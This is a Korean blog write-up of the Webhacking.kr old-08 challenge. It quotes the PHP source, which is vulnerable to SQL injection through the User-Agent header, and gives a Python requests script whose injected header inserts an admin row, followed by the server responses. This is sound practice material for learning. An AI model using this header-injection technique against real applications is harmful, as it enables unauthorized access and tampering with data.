Old-08 Domain & Tool
- 구분 : SQL Injection
- 문제풀이에 사용된 도구
- Chrome 103.0.5060.66 관리도구[F12]
- python 3.10
- Module : requests
Old-08 Question & Answer
시꺼먼 화면이다. 역시 웹해킹 연습사이트는 UI가 단조로워야 재맛이다. 일단 Hi guest라고 친.절.하게 인사해주니 쌩까고 view-source a태그를 클릭해서 동작방식을 확인하자 안쪽은 php source가 있다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
echo("<br>Access Denied!<br><br>");
echo(htmlspecialchars($agent));
exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
코드의 동작을 블록으로 나누어서 설명하면
- 접속된 사용자의 HTTP_USER_AGENT(브라우저 정보) 와 REMOTE_ADDR(IP정보)를 가져온다.
- 만약 HTTP_USER_AGENT에 from이라는 문자열이 있으면 Access Denied로 튕긴다
- 만약 카디널리티가 70이 넘어간다면 해당 데이터베이스를 지운다.(아마 용량관리나 DOS대항인듯)
- agent로 조건을 걸어서 가져온 id값이 admin이면 solve
- 해당 agent로 행이 없으면 그 행을 생성한다.
여기서 집어넣는 sql은 다음과 같다.
- Insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"
IP는 못바꾼다. Proxy등을 쓰면 바꿀수 있겠지만, agent 는 SQL Injection이 가능하다. 따라서 agent에다가 SQL Injection을 삽입 하고, select문을 돌려보자
from requests import get
if __name__=="__main__" :
sql_enter_headers = {"User-Agent": "REDUCTO', '0.0.0.0', 'admin')# "}
sql_select_headers = {"User-Agent": "REDUCTO"}
url = "https://webhacking.kr/challenge/web-08/"
cookie = {
"PHPSESSID":"// 당신의 PHPSESSID //",
}
req = get(url, headers=sql_enter_headers,cookies=cookie)
print(req.content)
req = get(url, headers=sql_select_headers,cookies=cookie)
print(req.content)
결과는 다음과 같다.
b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\n<br><br>done! (0/70)<a href=./?view_source=1>view-source</a>\n</body>\n</html>\n'
b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\nhi <b>admin</b><p><script>alert(\'login plz\');location.href=\'https://webhacking.kr/\';</script>'
필자는 2회차로 푸는거라 already solve가 나온거다
'WarGame > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-10 Answer (0) | 2022.07.14 |
---|---|
[Webhacking.kr] old-09 Answer (0) | 2022.07.14 |
[Webhacking.kr] old-07 Answer (0) | 2022.07.10 |
[Webhacking.kr] old-06 Answer (0) | 2022.07.10 |
[Webhacking.kr] old-05 Answer (0) | 2022.07.10 |